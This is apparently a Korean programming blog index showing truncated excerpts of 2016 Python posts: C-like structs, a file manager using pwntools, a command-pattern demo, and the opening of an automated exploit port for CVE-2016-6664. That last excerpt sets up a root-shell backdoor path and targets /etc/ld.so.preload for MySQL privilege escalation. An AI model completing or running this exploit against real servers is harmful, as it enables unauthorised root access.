본문 바로가기

black falcon37

C like structures in Python C like structures in Python1.소스 class SSample : name = '' average = 0.0 values = None s1 = SSample() s1.name = "sample1 " s1.values = [] s1.values.append("test1") s1.values.append("test2") s1.values.append("test3") s1.values.append("test4") s2 = SSample() s2.name = "sample2 " s2.values = [] s2.values.append("test1") s2.values.append("test2") s2.values.append("test3") s2.values.append("test4") fo.. 2016. 11. 22.
CFdManager(파일 관리자 ) CFdManager(파일 관리자 )1. 소스 ''' write by SpeeDr00t ''' from pwn import * class CFdManager : def __init__(self) : self.path = [] self.current_path = '' self.path_list = [] self.fd = [] self.current_fd = '' self.fd_count = 0 def do_print( self ) : print "current path = %s, fd = %s " %( self.get_current_path(), self.get_current_fd() ) def append_file_open(self, _path ) : print "\n\n\n\n #### path = %s.. 2016. 11. 22.
command pattern command pattern1.소스 def demo(a,b,c): print 'a:',a print 'b:',b print 'c:',c class Command: def __init__(self, cmd, *args): self._cmd=cmd self._args=args def __call__(self, *args): return apply(self._cmd, self._args+args) if __name__ == "__main__": cmd=Command(dir,__builtins__) print cmd() cmd=Command(demo,1,2,3) cmd() 결과 2016. 11. 22.
Cve-2016-6664 ][ python으로 포팅 및 자동 exploit Cve-2016-6664 ][ python으로 포팅 및 자동 exploit1.소스 ''' write by SpeeDr00t ''' from jkc_header import * from cshell import * from CSshConnector import * class Cve20166664 : def __init__(self, _host, _id , _passwd ) : self.shell = '' self.ssh = '' self.log_path = '' self.backdoor_src = '/bin/bash' self.backdoor = '/tmp/mysqlrootsh' self.preload_file = '/etc/ld.so.preload' self.exploit_src = '/tmp/explo.. 2016. 11. 14.